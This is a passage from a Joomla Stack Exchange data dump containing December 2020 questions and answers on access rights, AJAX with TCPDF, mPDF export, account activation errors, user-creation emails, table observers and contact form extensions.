4.0" />
  <row Id="28737" PostTypeId="2" ParentId="28735" CreationDate="2020-12-14T16:31:16.920" Score="3" Body="&lt;p&gt;Yes, it is possible.  I had not used this component before, so I installed it in a test environment and confirmed it works. Here are the steps I went through:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a new user under the Joomla! user group named 'Manager'&lt;/li&gt;&#xA;&lt;li&gt;In the ProFiles component, navigate to 'Root folders &amp;amp; rights' &amp;gt; 'Rights' &amp;gt; 'Manager', and set the values to 'Allowed'&lt;/li&gt;&#xA;&lt;li&gt;Login as your new user under the administrator login and navigate to the ProFiles component.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;After completing these steps I turned off access, logged in again with my Manager account, and was met with the Joomla! error, &amp;quot;You are not authorized for this action!&amp;quot;&lt;/p&gt;&#xA;" OwnerUserId="2082" LastActivityDate="2020-12-14T16:31:16.920" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28738" PostTypeId="1" CreationDate="2020-12-15T13:16:42.457" Score="2" ViewCount="412" Body="&lt;p&gt;I'm using fabrik to develop some applications, it's great.&#xA;However I have the need to use ajax with it now, I know how to use it and I already have everything set up, but I need to fix the javascript code to do what I want, I want to use TCPDF with it, or basically just run a PHP function on demand.&lt;/p&gt;&#xA;&lt;p&gt;This is my php code&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function doButton() {&#xA;    require_once JPATH_SITE . '/tcpdf/tcpdf.php';&#xA;    $pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);&#xA;    $pdf-&amp;gt;SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);&#xA;    $pdf-&amp;gt;SetAutoPageBreak(TRUE, PDF_MARGIN_BOTTOM);&#xA;    if (@file_exists(dirname(__FILE__).'/lang/eng.php')) {&#xA;        require_once(dirname(__FILE__).'/lang/eng.php');&#xA;        $pdf-&amp;gt;setLanguageArray($l);&#xA;    }&#xA;    $pdf-&amp;gt;SetFont('helvetica', '', 9);&#xA;    $pdf-&amp;gt;AddPage();&#xA;    $contenido = array();&#xA;    $contenido[] = '&amp;lt;html&amp;gt;';&#xA;    $contenido[] = 'Test';&#xA;    $contenido[] = '&amp;lt;/html&amp;gt;';&#xA;    $pdf-&amp;gt;writeHTML(implode($contenido), true, 0, true, 0);&#xA;    $pdf-&amp;gt;lastPage();&#xA;    ob_end_clean();&#xA;    $pdf-&amp;gt;Output('test.pdf', 'D');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is the javascript code I got and it works, but it's displaying an alert, I just want to run the function and send some input values through POST.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function doButton(el) {&#xA;    var url = &amp;quot;index.php?option=com_fabrik&amp;amp;format=raw&amp;amp;task=plugin.userAjax&amp;amp;method=doButton&amp;quot;;&#xA;    new Request({url:url,&#xA;        onComplete: function(response) {&#xA;            if (response !== '') {&#xA;                alert(response);&#xA;            }&#xA;        }&#xA;    }).send();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have a simple button that runs the javascript function doButton(this).&lt;/p&gt;&#xA;&lt;p&gt;This may be dumb and simple, but I'm new to ajax and I can't find any similar code anywhere, seems to me like this ajax is using pure javascript, all examples I could find use jquery, which appears to not be supported and be completely different. I haven't found a single ajax with POST that doesn't use jquery.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/61424154/how-to-open-tcpdf-output-in-new-window-when-using-ajax&quot;&gt;This is basically what I want&lt;/a&gt;, but in pure javascript.&lt;/p&gt;&#xA;" OwnerUserId="14696" LastEditorUserId="12352" LastEditDate="2020-12-15T14:20:19.873" LastActivityDate="2023-12-31T03:08:20.950" Title="Ajax post request with pure javascript, no jquery" Tags="|php|javascript|ajax|fabrik|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28739" PostTypeId="1" CreationDate="2020-12-15T15:07:31.247" Score="2" ViewCount="127" Body="&lt;p&gt;I'm using php-script to export Joomla article to PDF-file with mPDF.&lt;/p&gt;&#xA;&lt;p&gt;The script is shortly the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;define('_JEXEC', 1);    &#xA;define('JPATH_BASE', realpath(dirname(__FILE__) . '/..'));&#xA;require_once JPATH_BASE . '/includes/defines.php';&#xA;require_once JPATH_BASE . '/includes/framework.php';&#xA;&#xA;require_once JPATH_BASE . '/mPDF/vendor/autoload.php';&#xA;&#xA;$mainframe = JFactory::getApplication('site');&#xA;$mainframe-&amp;gt;initialise();&#xA;$session = JFactory::getSession();&#xA;$config = JFactory::getConfig();&#xA;&#xA;$url = urldecode(&amp;quot;my-article-url&amp;quot;);&#xA;$html = file_get_contents($url);&#xA;&#xA;$mpdf = new \Mpdf\Mpdf();&#xA;&#xA;$mpdf-&amp;gt;setBasePath($url);&#xA;$mpdf-&amp;gt;WriteHTML($html);&#xA;&#xA;$file_name = 'myfile.pdf';&#xA;$mpdf-&amp;gt;Output($file_name, 'D');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It works ok, when the article is published, but when I set the access of the article to Registered, the script cannot get the article contents anymore.&lt;/p&gt;&#xA;&lt;p&gt;How would it be possible to access article content when its access level is not Public?&lt;/p&gt;&#xA;" OwnerUserId="14732" LastEditorUserId="12352" LastEditDate="2020-12-16T05:28:04.347" LastActivityDate="2020-12-16T05:28:04.347" Title="Access Joomla article content from PHP-script with &quot;file_get_contents&quot;" Tags="|php|articles|download|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28740" PostTypeId="2" ParentId="28738" CreationDate="2020-12-15T17:44:36.893" Score="0" Body="&lt;p&gt;What do you mean by jQuery is not suppoted. It's included in Joomla core, so you should not have a problem with jQuery ajax.&lt;/p&gt;&#xA;&lt;p&gt;Depending on where you use it, you might need to add JHtml::_('jquery.framework');&lt;/p&gt;&#xA;" OwnerUserId="14732" LastEditorUserId="14732" LastEditDate="2020-12-15T20:41:03.157" LastActivityDate="2020-12-15T20:41:03.157" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28741" PostTypeId="1" CreationDate="2020-12-16T04:31:59.433" Score="2" ViewCount="63" Body="&lt;p&gt;I have private content on the site, and I want &amp;quot;non-registered&amp;quot; users to be redirected to the login page when they try to access the private content, without using any extensions.&lt;/p&gt;&#xA;&lt;p&gt;I have tried multiple ways:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;setting access level of the link as public and&lt;/li&gt;&#xA;&lt;li&gt;the private resource as registered and&lt;/li&gt;&#xA;&lt;li&gt;some other things&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;However, accessing the private content in this way is throwing off a &amp;quot;404&amp;quot;. Is there anything I am missing?&lt;/p&gt;&#xA;" OwnerUserId="14734" LastEditorUserId="12352" LastEditDate="2020-12-16T05:30:52.070" LastActivityDate="2020-12-16T05:30:52.070" Title="Getting no login prompts when trying to access private content, getting &quot;Page not found&quot; instead" Tags="|joomla-3.x|redirect|acl|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="28743" PostTypeId="1" CreationDate="2020-12-16T16:04:53.207" Score="2" ViewCount="60" Body="&lt;p&gt;referring to this issue in 2014:&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/5596/can-content-items-be-automatically-unlocked-after-a-certain-amount-of-time&quot;&gt;Can content items be automatically unlocked after a certain amount of time?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;is there a good solution for unlocking items after a certain period of time with Joomla 3 ?&lt;/p&gt;&#xA;" OwnerUserId="14488" LastActivityDate="2020-12-23T17:45:23.663" Title="Can article be automatically unlocked after a certain amount of time in joomla 3?" Tags="|joomla-3.x|articles|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28744" PostTypeId="1" CreationDate="2020-12-16T16:48:18.373" Score="0" ViewCount="289" Body="&lt;p&gt;I have two domains pointing to the same joomla 3 : example1.com (main domain) and example2.com.&#xA;When I edit an article in front via the main domain, the drag &amp;amp; drop of an image works well with TinyMCE. When I connect from example2.com, I get an error 500 :&lt;/p&gt;&#xA;&lt;p&gt;Call to undefined method Joomla\CMS\Document::addCustomTag()&#xA;on this url: &lt;a href=&quot;https://exemple2.com/fr/?option=com_media&amp;amp;task=file.upload&amp;amp;tmpl=component&amp;amp;xxxxxxxxxxxxxx=xxxxxxxxxxxxx&amp;amp;xxxxxxxxxxxxxxxxxxxxxxx=1&amp;amp;asset=image&amp;amp;format=json&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://exemple2.com/fr/?option=com_media&amp;amp;task=file.upload&amp;amp;tmpl=component&amp;amp;xxxxxxxxxxxxxx=xxxxxxxxxxxxx&amp;amp;xxxxxxxxxxxxxxxxxxxxxxx=1&amp;amp;asset=image&amp;amp;format=json&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ayMVT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ayMVT.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Do you know how to solve this problem?&lt;/p&gt;&#xA;&lt;p&gt;Thank you in advance,&lt;/p&gt;&#xA;" OwnerUserId="14488" LastActivityDate="2020-12-16T16:48:18.373" Title="Error 500 when drag &amp; drop an image via tinymce" Tags="|joomla-3.x|articles|tinymce|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28745" PostTypeId="1" CreationDate="2020-12-17T13:40:45.517" Score="2" ViewCount="415" Body="&lt;p&gt;Joomla 3.9.23&lt;/p&gt;&#xA;&lt;p&gt;I am also using RSFormPro for user registration (I have opened a ticket with their support also).&lt;/p&gt;&#xA;&lt;p&gt;When a user registers on my site they receive an email with a link to verify their account, when clicked, they are redirected to ,&lt;code&gt;registration/staff/registration-messase&lt;/code&gt; where a html message (configured in rsform pro) is displayed. Then another email is sent to an administrator containing a link to approve this users account.&lt;/p&gt;&#xA;&lt;p&gt;The issue i'm having is that &lt;em&gt;some&lt;/em&gt; users are seeing an error when clicking the verification message in the email, the message is;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;403 Verification code not found.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The menu item &lt;code&gt;registration/staff&lt;/code&gt; is set to &lt;code&gt;public&lt;/code&gt; im not sure if this makes any difference, should it be set to &lt;code&gt;guest&lt;/code&gt;?&lt;/p&gt;&#xA;&lt;p&gt;I have received a copy of the emails and tried clicking the link myself, same error. I have checked the joomla user manager and can see the users are there, just not enabled or activated.&lt;/p&gt;&#xA;&lt;p&gt;So, why am I seeing this 403 error?&lt;/p&gt;&#xA;&lt;p&gt;Is it because the link has already been clicked? Clicking this link more than once results in this error. Users are insisting they are clicking it just once.  Which must be true because the second email to admin is being sent.&lt;/p&gt;&#xA;&lt;p&gt;As I understand this link is a 'one time only' link, and should only display the 403 error in the event that the user has already clicked the link?&lt;/p&gt;&#xA;&lt;p&gt;How can I troubleshoot / investigate?&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2020-12-17T21:21:39.693" LastActivityDate="2020-12-17T21:21:39.693" Title="Verification code not found" Tags="|user|registration|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="28746" PostTypeId="2" ParentId="28745" CreationDate="2020-12-17T14:08:46.113" Score="1" Body="&lt;p&gt;A 403 error indicates that the access is forbidden.&lt;/p&gt;&#xA;&lt;p&gt;Usually it's either blocked by a firewall (e.g. admin tools, RSfirewall, or mod_security on the server), or by rules in your .htaccess file.&lt;/p&gt;&#xA;&lt;p&gt;See what the activation link looks like and then allow that link in your .htaccess and/or check your firewall logs and disable any rules that could block that request.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2020-12-17T14:08:46.113" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28748" PostTypeId="2" ParentId="28745" CreationDate="2020-12-17T20:34:34.700" Score="3" Body="&lt;p&gt;I suspect that because you've got the 403 error message &amp;quot;Verification code not found&amp;quot; that the request is actually being rejected by Joomla itself. The language string &lt;code&gt;COM_USERS_ACTIVATION_TOKEN_NOT_FOUND&lt;/code&gt; is set on my instance to &amp;quot;Verification code not found. Check if your account is already activated and try to log in.&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;Looking at the Joomla code in com_users/controllers/registration.php in the &lt;code&gt;activate()&lt;/code&gt; function this error is raised if the &lt;code&gt;$model-&amp;gt;getUserIdFromToken($token)&lt;/code&gt; call does not return a user to activate.&lt;/p&gt;&#xA;&lt;p&gt;To find the user to activate the Joomla registration model (com_users/models/registration.php) does a SQL query:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select($db-&amp;gt;quoteName('id'))&#xA;        -&amp;gt;from($db-&amp;gt;quoteName('#__users'))&#xA;        -&amp;gt;where($db-&amp;gt;quoteName('activation') . ' = ' . $db-&amp;gt;quote($token))&#xA;        -&amp;gt;where($db-&amp;gt;quoteName('block') . ' = ' . 1)&#xA;        -&amp;gt;where($db-&amp;gt;quoteName('lastvisitDate') . ' = ' . $db-&amp;gt;quote($db-&amp;gt;getNullDate()));&#xA;$db-&amp;gt;setQuery($query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;so you'll get the error if this query returns no rows.&lt;/p&gt;&#xA;&lt;p&gt;I suggest you try doing this SQL query directly on your database and see if it returns the row that you expect (whenever you're in the middle of registering a new user).&lt;/p&gt;&#xA;&lt;p&gt;If you're using RSFormPro for the registration form are you sure you're setting all the database fields in the users record correctly?&lt;/p&gt;&#xA;&lt;p&gt;I guess the other alternative is to check if the admin is setting the user to Enabled before they've even confirmed the account using the link.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-12-17T20:34:34.700" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28749" PostTypeId="1" AcceptedAnswerId="28750" CreationDate="2020-12-18T10:54:16.663" Score="2" ViewCount="122" Body="&lt;p&gt;I'm using the User Class to create new users. Here are my fields :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$udata = array(&#xA;                &amp;quot;name&amp;quot;=&amp;gt;$data['name'],&#xA;                &amp;quot;username&amp;quot;=&amp;gt;$data['user'],&#xA;                &amp;quot;password&amp;quot;=&amp;gt;$data['pass'],&#xA;                &amp;quot;email&amp;quot;=&amp;gt;$data['email'],&#xA;                &amp;quot;block&amp;quot;=&amp;gt;0,&#xA;                &amp;quot;groups&amp;quot;=&amp;gt;array(&amp;quot;1&amp;quot;,&amp;quot;2&amp;quot;),&#xA;                &amp;quot;params&amp;quot;=&amp;gt;array(&#xA;                    &amp;quot;admin_style&amp;quot; =&amp;gt; &amp;quot;&amp;quot;,&#xA;                    &amp;quot;admin_language&amp;quot; =&amp;gt; &amp;quot;&amp;quot;,&#xA;                    &amp;quot;language&amp;quot; =&amp;gt; 'fr-FR',&#xA;                    &amp;quot;editor&amp;quot; =&amp;gt; &amp;quot;&amp;quot;,&#xA;                    &amp;quot;helpsite&amp;quot; =&amp;gt; &amp;quot;&amp;quot;,&#xA;                    &amp;quot;timezone&amp;quot; =&amp;gt; &amp;quot;&amp;quot;&#xA;&#xA;                ),&#xA;                &amp;quot;requireReset&amp;quot;=&amp;gt;1,&#xA;                &amp;quot;sendEmail&amp;quot;=&amp;gt;0,&#xA;            );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I put sendEmail to 0 but the email is still sent. Is there an other way to disable this function?&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your anwser !&lt;/p&gt;&#xA;" OwnerUserId="13837" LastActivityDate="2020-12-18T14:33:45.637" Title="User creation with PHP : disable sending email" Tags="|joomla-3.x|user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28750" PostTypeId="2" ParentId="28749" CreationDate="2020-12-18T11:25:25.783" Score="2" Body="&lt;p&gt;The &lt;code&gt;sendEmail&lt;/code&gt; property relates to whether or not the user should receive system emails, rather than whether or not a confirmation email should be sent upon user creation.&lt;/p&gt;&#xA;&lt;p&gt;I had a quick look through the code and the confirmation email seems to be sent from the &lt;code&gt;User - Joomla!&lt;/code&gt; plugin, in the &lt;code&gt;onUserAfterSave&lt;/code&gt; function. There it checks the param &lt;code&gt;mail_to_user&lt;/code&gt; before deciding whether to send or not.&lt;/p&gt;&#xA;&lt;p&gt;This parameter is set within the options for the &lt;code&gt;User - Joomla!&lt;/code&gt; plugin. Click on Plugins, and then on the User - Joomla! plugin and set &lt;code&gt;Notification Mail to User&lt;/code&gt; to No&lt;/p&gt;&#xA;" OwnerUserId="11650" LastEditorUserId="11650" LastEditDate="2020-12-18T14:33:45.637" LastActivityDate="2020-12-18T14:33:45.637" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28751" PostTypeId="1" AcceptedAnswerId="28752" CreationDate="2020-12-18T17:53:34.927" Score="4" ViewCount="209" Body="&lt;p&gt;I am trying to create a table observer in a module. I am using the Table Advanced API guide in the Joomla documentation &lt;a href=&quot;https://docs.joomla.org/Table_Advanced_API_Guide&quot; rel=&quot;noreferrer&quot;&gt;https://docs.joomla.org/Table_Advanced_API_Guide&lt;/a&gt;. When I use the code provided, the class MyObserver does not work. I have tried making the class abstract, and I have tried extending AbstractObserver instead of implementing JObserverInterface. When I try to make MyObserver abstract, then the createObserver function does not work. When I try to extend AbstractObserver, then it states that it cannot find the class AbstractObserver. How do I get the class MyObserver to work?&lt;/p&gt;&#xA;&lt;p&gt;I am running Joomla 3.9.22 with PHP 7.0.33. My database is a MySQL version database 10.1.47-MariaDB-0+deb9u1.&lt;/p&gt;&#xA;&lt;p&gt;myobserver.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    &#xA;    defined('JPATH_PLATFORM') or die;&#xA;    &#xA;    class MyObserver implements JObserverInterface&#xA;    {&#xA;        // Usually you would define your class as&#xA;        // class MyObserver extends AbstractObserver&#xA;        // and then the $table variable and a basic constructor would be included for you&#xA;        protected $table;&#xA;        public function __construct($table)&#xA;        {&#xA;            $table-&amp;gt;attachObserver($this);&#xA;            $this-&amp;gt;table = $table;&#xA;            $observers = $table-&amp;gt;getObserverOfClass(&amp;quot;MyObserver&amp;quot;);&#xA;            $observersClass = get_class($observers);&#xA;            echo &amp;quot;&amp;lt;br&amp;gt;In MyObserver constructor.&amp;lt;br&amp;gt;&amp;quot;;&#xA;            echo &amp;quot;&amp;lt;br&amp;gt;Object returned from getObserverOfClass() has class {$observersClass}&amp;lt;br&amp;gt;&amp;quot;;&#xA;        }&#xA;        &#xA;        public static function createObserver($table, $params = array())&#xA;        {&#xA;            $observer = new self($table);&#xA;            return $observer;&#xA;        }&#xA;    &#xA;        public function onAfterStore(&amp;amp;$result)&#xA;        {&#xA;            echo &amp;quot;&amp;lt;br&amp;gt;In observer onAfterStore()&amp;lt;br&amp;gt;&amp;quot;;&#xA;            if ($result)&#xA;            {&#xA;                echo &amp;quot;Got table store method notification for table {$this-&amp;gt;table-&amp;gt;getTableName()}, id {$this-&amp;gt;table-&amp;gt;id}&amp;lt;br&amp;gt;&amp;quot;;&#xA;            }&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;demomodules.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die('Restricted access');&#xA;use Joomla\CMS\Table\Table;&#xA;class TableDemoModules extends Table&#xA;&#xA;{&#xA;protected $_jsonEncode = array('params');&#xA;&#xA;    function __construct(&amp;amp;$db)&#xA;    {&#xA;        parent::__construct('#__modules', 'id', $db);&#xA;        require 'myobserver.php';&#xA;        MyObserver::createObserver($this);&#xA;    }&#xA;    &#xA;    function check()&#xA;    {&#xA;        $this-&amp;gt;note .= &amp;quot; added via module&amp;quot;;&#xA;    }&#xA;    &#xA;    protected function _getAssetName()&#xA;    {&#xA;        return &amp;quot;com_modules.module.&amp;quot; . $this-&amp;gt;id;&#xA;    }&#xA;    &#xA;    protected function _getAssetTitle()&#xA;    {&#xA;        return $this-&amp;gt;title;&#xA;    }&#xA;    &#xA;    protected function _getAssetParentId(Table $table = null, $id = null)&#xA;    {&#xA;        $assets = self::getInstance('Asset', 'JTable', array('dbo' =&amp;gt; $this-&amp;gt;getDbo()));&#xA;        $assets-&amp;gt;load(array(&amp;quot;name&amp;quot; =&amp;gt; &amp;quot;com_modules&amp;quot;));&#xA;        return $assets-&amp;gt;id;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;mod_advanced_table.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die('Restricted Access');&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Table\Table;&#xA;&#xA;$app = Factory::getApplication();&#xA;$input = $app-&amp;gt;input;&#xA;$user = Factory::getUser();&#xA;&#xA;echo &amp;quot;Module id is {$module-&amp;gt;id}&amp;lt;br&amp;gt;&amp;quot;;&#xA;&#xA;// Tell Joomla to look in the current (module) directory for our table class file&#xA;Table::addIncludePath(__DIR__);&#xA;$moduleTable = Table::getInstance('DemoModules', 'Table', array());&#xA;&#xA;if ($moduleTable-&amp;gt;load($module-&amp;gt;id))&#xA;{&#xA;    echo &amp;quot;&amp;lt;br&amp;gt;Module title is {$moduleTable-&amp;gt;title}&amp;lt;br&amp;gt;&amp;quot;;&#xA;    // checkout/checkin&#xA;    if ($moduleTable-&amp;gt;isCheckedOut($user-&amp;gt;id))&#xA;    {&#xA;        echo &amp;quot;&amp;lt;br&amp;gt;module record isCheckedOut call returned true&amp;lt;br&amp;gt;&amp;quot;;&#xA;    }&#xA;    else&#xA;    {&#xA;        echo &amp;quot;&amp;lt;br&amp;gt;module record isCheckedOut call returned false&amp;lt;br&amp;gt;&amp;quot;;&#xA;    }&#xA;    // ACL rules&#xA;    if ($rules = $moduleTable-&amp;gt;getRules())&#xA;    {&#xA;        $rulesString = (string) $rules;&#xA;        echo &amp;quot;&amp;lt;br&amp;gt;ACL Rules: $rulesString &amp;lt;br&amp;gt;&amp;quot;;&#xA;    }&#xA;    else&#xA;    {&#xA;        echo &amp;quot;&amp;lt;br&amp;gt;getRules() didn't return anything&amp;lt;br&amp;gt;&amp;quot;;&#xA;    }&#xA;    $userGroups = $user-&amp;gt;getAuthorisedGroups();&#xA;    $randomIndex = array_rand($userGroups);&#xA;    $newRule = array(&amp;quot;core.edit&amp;quot; =&amp;gt; array($userGroups[$randomIndex] =&amp;gt; 1));&#xA;    echo &amp;quot;Setting rules to &amp;quot; . json_encode($newRule) . &amp;quot;&amp;lt;br&amp;gt;&amp;quot;;&#xA;    $moduleTable-&amp;gt;setRules($newRule);&#xA;    $moduleTable-&amp;gt;store();&#xA;    // ordering&#xA;    $where = 'POSITION = &amp;quot;' . $moduleTable-&amp;gt;position . '&amp;quot;';&#xA;    echo &amp;quot;&amp;lt;br&amp;gt;Next order value: &amp;quot; . $moduleTable-&amp;gt;getNextOrder($where) . &amp;quot;&amp;lt;br&amp;gt;&amp;quot;;&#xA;    &#xA;    $moduleTable-&amp;gt;move(2, $where);&#xA;    echo &amp;quot;Ordering value is now: {$moduleTable-&amp;gt;ordering}&amp;lt;br&amp;gt;&amp;quot;;&#xA;    &#xA;    $where .= &amp;quot; and published = 1&amp;quot;;&#xA;    $moduleTable-&amp;gt;reorder($where);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14701" LastActivityDate="2020-12-18T22:54:06.977" Title="Create a table observer" Tags="|module|database|joomla-3.9|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28752" PostTypeId="2" ParentId="28751" CreationDate="2020-12-18T22:54:06.977" Score="6" Body="&lt;p&gt;This was working ok on my instance Joomla 3.9.22 with PHP 7.3.5 (and mysql). Then to test this I selected PHP 7.0.33 instead and it gave me an error:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;Fatal error: Declaration of MyObserver::createObserver($table, $params = Array) must be compatible with JObserverInterface::createObserver(JObservableInterface $observableObject, $params = Array) in C:\wamp64\www\...\modules\mod_advanced_table\myobserver.php on line 5&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I managed to fix the problem by replacing&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public static function createObserver($table, $params = array())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;with&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public static function createObserver(JObservableInterface $table, $params = array())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;(Alternative if you can upgrade your version of php this problem might right itself).&lt;/p&gt;&#xA;&lt;p&gt;Incidentally, you can define your class using&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class MyObserver extends AbstractObserver&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but you would have to precede that with:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Table\Observer\AbstractObserver;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Can you let me know if this fixes things as I'd like to update the Joomla documentation on that page with this issue.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-12-18T22:54:06.977" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28753" PostTypeId="1" CreationDate="2020-12-22T10:02:06.957" Score="1" ViewCount="35" Body="&lt;p&gt;I am looking for a module in Joomla 3 that creates a contact form below the article.&lt;/p&gt;&#xA;&lt;p&gt;It must help me to send a copy of the message to my visitor who have inquired and send another one to our contact person.&lt;/p&gt;&#xA;&lt;p&gt;I've searched in the Joomla Extension Directory, but there aren't any extensions that fit my requirements.&lt;/p&gt;&#xA;&lt;p&gt;Does anyone know some modules or anything else like that?&lt;/p&gt;&#xA;" OwnerUserId="14760" LastEditorUserId="12352" LastEditDate="2020-12-22T10:51:28.417" LastActivityDate="2020-12-23T18:12:49.470" Title="Recommend a contact us module for Joomla 3" Tags="|joomla-3.x|module|extension-request|contact-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28754" PostTypeId="1" CreationDate="2020-12-23T02:29:55.253" Score="0" ViewCount="33" Body="&lt;p&gt;Recently I want to change the order of my article.&lt;/p&gt;&#xA;&lt;p&gt;I set the Blog Layout Options -&amp;gt; Article Order -&amp;gt; Most recent first Date for Ordering -&amp;gt; Created However, it does not follow the date to order my articles.&lt;/p&gt;&#xA;&lt;p&gt;After that, I tried to set it as Article Manager Order, and re-order it by changing the ordering numbers. However, it still does not work.&lt;/p&gt;&#xA;&lt;p&gt;However, it does work when I set it as Title Alphabetical.&lt;/p&gt;&#xA;&lt;p&gt;Does anyone know how to fix it? Thank you!!&lt;/p&gt;&#xA;" OwnerUserId="14762" LastActivityDate="2020-12-23T02:29:55.253" Title="Why the article ordering does not follow the date?" Tags="|joomla-3.x|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28755" PostTypeId="2" ParentId="28743" CreationDate="2020-12-23T17:45:23.663" Score="2" Body="&lt;p&gt;You will need a plugin for this, as there is no mechanism in Joomla core. Searching in JED, there is one available: &amp;quot;&lt;a href=&quot;https://extensions.joomla.org/extension/authoring-a-content/content-submission/autocheckin/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Autocheckin&lt;/strong&gt;&lt;/a&gt;&amp;quot;. I haven't tried it, but it should do the job.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2020-12-23T17:45:23.663" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28756" PostTypeId="2" ParentId="28753" CreationDate="2020-12-23T17:59:53.123" Score="4" Body="&lt;p&gt;Most form extensions would be sufficient for this job.&lt;br /&gt;&#xA;For example with &lt;a href=&quot;https://extensions.joomla.org/extension/rsform-pro/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;RSForm&lt;/strong&gt;&lt;/a&gt; (paid extension), you can build almost any kind of forms and render them as a module, using the RSForm module in any module position, or inside any article using the RSForm content plugin.&lt;/p&gt;&#xA;&lt;p&gt;You can setup the form to send emails that you can customise to Admins, Form submission users, 3rd parties.&lt;/p&gt;&#xA;&lt;p&gt;If you need to give an option to the user to select if we wants to receive a copy of his submission or not, you could use a checkbox with conditional logic in the backend of your form.&lt;/p&gt;&#xA;&lt;p&gt;It should be rather easy to setup simple forms, but for more complex implementations you can find sufficient help from the &lt;a href=&quot;https://www.rsjoomla.com/support/documentation/rsform-pro.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; or ask questions to their support.&lt;/p&gt;&#xA;&lt;p&gt;Apart of the RSForm, you can find many other good form extensions in the Joomla ecosystem, capable for the job: &lt;a href=&quot;https://extensions.joomla.org/tags/contact-forms/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/tags/contact-forms/&lt;/a&gt;&lt;/p&gt;&#xA;" 